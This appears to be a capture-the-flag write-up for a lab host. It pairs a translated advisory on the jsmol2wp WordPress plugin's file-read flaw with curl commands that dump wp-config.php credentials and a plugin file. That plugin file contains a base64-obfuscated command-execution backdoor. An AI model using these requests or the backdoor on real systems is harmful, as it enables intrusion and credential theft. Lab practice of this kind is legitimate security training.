ChatGPT translation of the page that doesn't render in archive.org: https://web.archive.org/web/20190915000000*/https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/
Version: 1.07 Link: https://wordpress.org/plugins/jsmol2wp/ A simple arbitrary file read and XSS vulnerability
Arbitrary file read & SSRF(CVE-2018-20463) /wp-content/plugins/jsmol2wp/php/jsmol.php 137th line
The parameter $query of file_get_contents is directly controllable, so php://filter is used to read it. Of course, you can also use file:///etc/passwd to read the absolute path.
The report describes two vulnerabilities in a WordPress plugin called "jsmol2wp". The first vulnerability is an arbitrary file read and server-side request forgery (SSRF) vulnerability (CVE-2018-20463) which can be exploited by controlling the $query parameter of file_get_contents in the jsmol.php file. The second vulnerability is a reflected cross-site scripting (XSS) vulnerability (CVE-2018-20462) which can be exploited by encoding the payload in BASE64. The report provides proof-of-concept (POC) examples for each vulnerability.
┌──(root㉿kali)-[~/yiyi] └─# curl -s "http://www.smol.hmv/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php" <?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the installation. * You don't have to use the web site, you can copy this file to "wp-config.php" * and fill in the values. * * This file contains the following configurations: * * * Database settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://wordpress.org/documentation/article/editing-wp-config-php/ * * @package WordPress */ // ** Database settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** Database username */ define( 'DB_USER', 'wpuser' ); /** Database password */ define( 'DB_PASSWORD', 'kbLSF2Vop#lw3rjDZ629*Z%G' );
/** Database charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' ); /**#@+ * Authentication unique keys and salts. * * Change these to different unique phrases! You can generate these using * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}. * * You can change these at any point in time to invalidate all existing cookies. * This will force all users to have to log in again. * * @since 2.6.0 */ define( 'AUTH_KEY', 'put your unique phrase here' ); define( 'SECURE_AUTH_KEY', 'put your unique phrase here' ); define( 'LOGGED_IN_KEY', 'put your unique phrase here' ); define( 'NONCE_KEY', 'put your unique phrase here' ); define( 'AUTH_SALT', 'put your unique phrase here' ); define( 'SECURE_AUTH_SALT', 'put your unique phrase here' ); define( 'LOGGED_IN_SALT', 'put your unique phrase here' ); define( 'NONCE_SALT', 'put your unique phrase here' ); /**#@-*/ /** * WordPress database table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_'; /** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the documentation. * * @link https://wordpress.org/documentation/article/debugging-in-wordpress/ */ define( 'WP_DEBUG', false ); /* Add any custom values between this line and the "stop editing" line. */ /* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */ if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', __DIR__ . '/' ); }
/** Sets up WordPress vars and included files. */ require_once ABSPATH . 'wp-settings.php';
┌──(root㉿kali)-[~/yiyi] └─# curl -s "http://www.smol.hmv/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../hello.php" <?php /** * @package Hello_Dolly * @version 1.7.2 */ /* Plugin Name: Hello Dolly Plugin URI: http://wordpress.org/plugins/hello-dolly/ Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page. Author: Matt Mullenweg Version: 1.7.2 Author URI: http://ma.tt/ */
functionhello_dolly_get_lyric() { /** These are the lyrics to Hello Dolly */ $lyrics = "Hello, Dolly Well, hello, Dolly It's so nice to have you back where you belong You're lookin' swell, Dolly I can tell, Dolly You're still glowin', you're still crowin' You're still goin' strong I feel the room swayin' While the band's playin' One of our old favorite songs from way back when So, take her wrap, fellas Dolly, never go away again Hello, Dolly Well, hello, Dolly It's so nice to have you back where you belong You're lookin' swell, Dolly I can tell, Dolly You're still glowin', you're still crowin' You're still goin' strong I feel the room swayin' While the band's playin' One of our old favorite songs from way back when So, golly, gee, fellas Have a little faith in me, fellas Dolly, never go away Promise, you'll never go away Dolly'll never go away again";
// Here we split it into lines. $lyrics = explode( "\n", $lyrics );
// And then randomly choose a line. return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] ); }
// This just echoes the chosen line, we'll position it later. function hello_dolly() { eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=')); $chosen = hello_dolly_get_lyric(); $lang = ''; if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) { $lang = ' lang="en"'; } printf( '<p id="dolly"><span class="screen-reader-text">%s </span><span dir="ltr"%s>%s</span></p>', __( 'Quote from Hello Dolly song, by Jerry Herman:' ), $lang, $chosen ); } // Now we set that function up to execute when the admin_notices action is called. add_action( 'admin_notices', 'hello_dolly' ); // We need some CSS to position the paragraph. function dolly_css() { echo " <style type='text/css'> #dolly { float: right; padding: 5px 10px; margin: 0; font-size: 12px; line-height: 1.6666; } .rtl #dolly { float: left; } .block-editor-page #dolly { display: none; } @media screen and (max-width: 782px) { #dolly, .rtl #dolly { float: none; padding-left: 0; padding-right: 0; } } </style> "; } add_action( 'admin_head', 'dolly_css' );
